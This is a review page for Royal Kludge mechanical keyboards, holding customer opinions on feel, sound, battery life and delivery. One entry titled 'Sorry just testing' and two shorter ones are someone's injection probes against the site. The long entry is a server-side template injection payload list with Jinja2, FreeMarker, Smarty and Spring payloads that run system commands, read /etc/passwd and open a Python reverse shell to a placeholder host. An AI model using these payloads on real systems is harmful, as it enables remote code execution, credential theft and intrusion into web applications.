RK Royal Kludge Reviews: Honest User Experiences and Ratings

Read and Contribute to RK Reviews Today!
Based on 1819 reviews
78%
(1417)
15%
(264)
4%
(64)
2%
(44)
2%
(30)
Best Feeling Keyboard I Have Ever Used

Coming from the Razer Huntsman v3 Pro, I thought that was pretty much it. I purchased the lavender version of this S98 (Veridian Linear keys) and fell in love. Ended up purchasing another one for my second computer. The fact that both the keys and the switches are hot swappable makes me wonder how they could sell this keyboard so cheap.
The keys that come with the keyboard are not shine through, but I solved that by purchasing the pudding keys that will be here Saturday. I also got a co-worker to purchase one, and I am thinking about getting a third.

This product was perfect for me! Love the colour and feel of the switches and key caps, outstanding RGB, it’s even hotswapabble. The red switches sound amazing and just like how it did in videos or the website. RK also had great customer support and responded to my questions quickly. 5 stars

Love the keyboard but the delivery takes a while

I’ve been using this keeb for about a week now and it’s been a D R E A M! It’s so creamy sounding 🍨

Great Keyboard!!

The keyboard is everything I could ask for. It is built very well, very sturdy. Battery life is pretty good! Havnt had to recharge it yet but I have the lights off. Overall for the price. It is the best you will get.

w keyboard

this is a realy good keyboard

Great Keyboard for the price, Extremely Satisfied Nerd

This is my first mechanical keyboard and I must say it is incredibly well made. I ordered the turquoise green version on sale for $105 after tax and got a set of keycaps for $40 from amazon. All in all I think its great value compared to other models on the market.

I got the linear switches and I am extremely satisfied. It has a good weight to it so it won't slide around on your desk at all and it is well insulated so they keys have an incredible creamy sound. My brain is soothed every time I click click click on it.

I am using it with a mac so I had to use parallels to operate the software (annoying, but I used the free two week trail to find a great gif and change the static gaming setting. It was super easy to set up then get in and change what I wanted to, then back to mac and the settings saved on the keyboard. I don't think I'll ever need to use it again). I uploaded a cute lil gif of snorlax sleeping and its going to stay. I would love to see an update in the future to have the ability to store multiple gifs to flip through, however I am content with one for now. Having the screen and knob is also incredibly useful to change the backlight and connectivity settings on the keyboard instead of random keyboard shortcuts like other keyboards. I often switch from bluetooth for general typing and to not overcharge the battery and to usb mode for gaming it is really easy to use.

I did switch the keycaps to a gradient set on amazon and I am absolutely in love. The sound is the same, but the look is so much more satisfying for me. If you're wondering which gradient set to get I recommend the "PBT Doubleshot Gradient Cyan Keycaps Backlit Shine Through OEM Profile Keycap Set 105 Keys Custom Keycap for Cherry MX Mechanical Keyboard" from Mintcaps on amazon. I am not affiliated with either brand. Its great to be able to write a review for a keyboard on the keyboard you are reviewing.

My first mechanical keyboard.

It was my first time in the past 10 years using a mechanical keyboard and the typing experience between this and the menbrane keyboard I was used to is so much better. This is a good keyboard overall lighting is correct, all three mods are working aswell.
The only con to me is that the keyboard profile is a bit high and I weel need to buy myself a wrist rest otherwise I might hurt myself. 9/10 product

keyboard

good keyboard, worth the price, recommend it

Great keyboard, dissapointed you cannot get slash in one press

This keyboard offered me a great typing and gaming experience, although it dissapointed me that to type a slash, you always need to hold fn and then press the slash key. I get that a keyboard of this size is just too small to have all the keys laid out on seperate keys, but it would be nice if they added a mode where the slash key isn’t the arrow up. No need to not buy this keyboard, but just a little con described.

RK84 75% Wireless Mechanical Keyboard

Great Keyboard with Clunky Spacebar

Ordered the RK96 Forest Blue keyboard a few weeks ago and I love it so far. The keycaps coloring is even better in person then the pictures online. I like the responsiveness of the yellow switches and the backlighting is pretty sweet.

I like the volume control at the top right as well as the various additional functions some of the keys have like the ability to dim the back light, start / stop videos, etc. The symbols for those additional functions aren't invasive and don't get in the way when you are looking at the keyboard.

The only complaint I have which isn't the biggest problem, is that the spacebar has a distinct and different sound then the rest of the keys. Is it a deeper clunk sound. I know I can remove the spacebar and mod or change some of the hardware, which is the reason why I bought this keyboard. I just haven't done it yet and since this is my first mechanical keyboard purchase, I am still working up the courage to do it.

The clunkier spacebar isn't enough to give this less than five stars. I can mod it whenever I don't like the sound any more. Like I mentioned this is my first mechanical keyboard, and in the future when I need another I will definitely buy from RK again.

great typing feeling.

Best keyboard I've tried so far

I'll start by saying this is my first mechanical keyboard (I used membrane kbs so far) and a guy on discord recommended it when I asked for a good budget mechanical keyboard. This keyboard is insanely good. Fast response time despite using it wirelessly, charges in 20 minutes and lasts for more than a week which is absurd for me. It also comes with a few replacement keycaps. 10/10 i'd recommend it to all my friends

great starter keyboard

feels very smooth out the box, the keys aren't too loud too. if you're new to mechanical keyboards, i can imagine this is a very good starter one as i wouldn't change anything about it. getting it on sale is worth it^^

Rk61 single backlight

It's a great keyboard, offering fast response time, hot swappable switches, quality material for good price, I was a little dissaponted about it being only one color but other than that it's fine, the lights are flashy, the software is great and it offers a lot of functions, overall it was worth it.

Sorry just testing

<
%3C
&lt
<
&LT
&LT;
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}} # Search for Popen process, use payload below change 227 to index of Popen
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}{{ key|e }}{{ value|e }}{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

not bad <*/>-'"{{7*7}} ${7*7}

not bad <*/>-'"{{7*7}} ${7*7}

Quality Keyboard

RK61 Keyboard
Fast delivery. Keyboard feels high quality and is good to use. Recommended.

Good product - poor shipping commitment.

took double the committed time to deliver. after 10 days upon order, kb is still not picked up by courier. definitely a big dent in the product delivery. will i order again, never again.

My honest feedback

everything is good except for the dangle. From time to time the device experience hiccups when it comes to the dangle, delays in the input occurs and have to stick to wired connection. the keycaps could also be imrpove by adding shinethrew varations. Overall the keyboard is good and is above average